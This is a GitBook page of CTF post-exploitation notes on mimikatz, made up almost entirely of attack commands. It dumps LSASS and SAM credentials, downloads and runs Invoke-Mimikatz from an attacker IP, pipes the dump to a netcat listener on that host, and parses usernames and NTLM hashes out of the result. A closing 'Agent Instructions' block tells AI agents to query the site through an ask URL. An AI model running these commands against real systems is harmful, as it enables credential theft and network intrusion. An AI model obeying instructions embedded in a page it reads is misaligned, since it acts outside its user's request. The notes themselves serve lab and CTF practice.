# mimikatz

### Basic Commands

{% code overflow="wrap" %}

```bash
# Lists all available provider credentials. 
# This usually shows recently logged on user and computer credentials

CMD> mimikatz.exe 
mimikatz # privilege::debug 
mimikatz # sekurlsa::logonpasswords
mimikatz # sekurlsa::tickets 

# List all SAM info

mimikatz # token::elevate
mimikatz # lsadump::sam
mimikatz # lsadump::cache 

# Powrshell based mimikatz
CMD> powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.35/post/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"

PS> IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.35/post/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds
```

{% endcode %}

### Output to Kali

{% code overflow="wrap" %}

```bash
# Kali

nc -nlvp 1234 > mimikatz_out.txt

# Target Windows

.\mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit | nc64.exe -vv 10.10.14.35 1234

# Print username

cat mimikatz_out.txt|tr -d '\011\015' |awk '/Username/ { user=$0; getline; getline; print user " " $0}'|grep -v "* LM\|* NTLM\|Microsoft_OC1\|* Password : (null)"|awk '{if (length($8)>2) print $4 ":" $8}'|sort -u

# Print hash

cat mimikatz_out.txt |tr -d '\011\015' |awk '/Username/ { user=$0; getline; domain=$0; getline; print user " " domain " " $0}'|grep -v "* LM\|* Password\|Microsoft_OC1"|awk '{if (length($12)>2) print $8 "/" $4 "%aad3b435b51404eeaad3b435b51404ee:" $12}'|sort -u
```

{% endcode %}

### Procdump to mimikatz

```bash
# https://docs.microsoft.com/en-us/sysinternals/downloads/procdump

CMD> procdump -accepteula -ma lsass.exe lsass.dmp
CMD > mimikatz.exe 
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonPasswords
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://iptracej.gitbook.io/windows-linux-and-active-directory-ctf-notes/post-exploitation/mimikatz.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.